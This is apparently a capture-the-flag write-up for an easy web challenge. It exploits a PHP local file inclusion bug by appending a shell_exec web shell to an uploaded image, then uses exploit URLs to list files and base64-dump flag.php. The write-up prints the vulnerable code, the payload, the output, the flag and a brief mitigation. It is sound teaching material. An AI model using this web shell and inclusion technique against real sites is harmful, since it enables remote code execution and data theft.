# Local Fun Inclusion - localo

Category: Web
Difficulty: Easy
Author: 0x4d5a

## Description

Recently i learned how to code in PHP. There are cool tutorials for file uploads around! Imgur Memes have no chance vs. my cool image sharing website!

Check it out at: http://lfi.hax1.allesctf.net:8081/

## Summery

The challenge is a typical LFI challenge, we are provided with a link to a website where we can upload images.

By following the link we can see our picture:

## Solution

The vulnerability can easily be spotted by taking a closer look ath the address bar:

site=view.php just looks already quite promising and with image=uploads/57421..._1.png we get a relative path to out file on the webserver.
Here is the important part of index.php to explain how LFI works.

<?php
$site =$_GET["site"];
if (!isset($site)) {$site = "upload.php";
}
if (file_exists($site)) { include($site);
}
else
{
echo '<div class="container"><div class="alert alert-danger" role="alert">Site "' . htmlspecialchars($site) . '" cant be included!</div>'; } ?>  In PHP a file may include other files, this is useful if you have large code bases or libraries. index.php stores the value of the GET parameter site in the variable $site. If it is not set, it will default to upload.php. If the file exists on the filesystem it will include it. Otherwise it will throw en error to the user. We can abuse this by including our uploaded image.
We can execute arbitrary php code by appending it to the end of a valid image.
I used this for basic command execution.

<?php echo shell_exec($_GET["cmd"]); ?> By using this URL: http://lfi.hax1.allesctf.net:8081/index.php?site=uploads/5742351c7ea7c738bd18084f9b08bbd3_1.jpg&cmd=ls We get the directory listing at the end of the page. css flag.php index.php js upload.php uploads view.php  To get the flag we have to get the content of flag.php, but we don't want the content to be interpreted. This is can be achieved by using base64: http://lfi.hax1.allesctf.net:8081/index.php?site=uploads/5742351c7ea7c738bd18084f9b08bbd3_1.jpg&cmd=base64%20flag.php results in: PD9waHAKCiRGTEFHID0gIkNTQ0d7RzN0dGluZ19SQ0VfMG5fdzNiX2lzX2FsdzR5c19jb29sfSI7  decoded: <?php$FLAG = "CSCG{G3tting_RCE_0n_w3b_is_alw4ys_cool}";


## Mitigation

Never include user controlled input and avoid php in general, it does stuff you would normally not expect.

## Flag

CSCG{G3tting_RCE_0n_w3b_is_alw4ys_cool}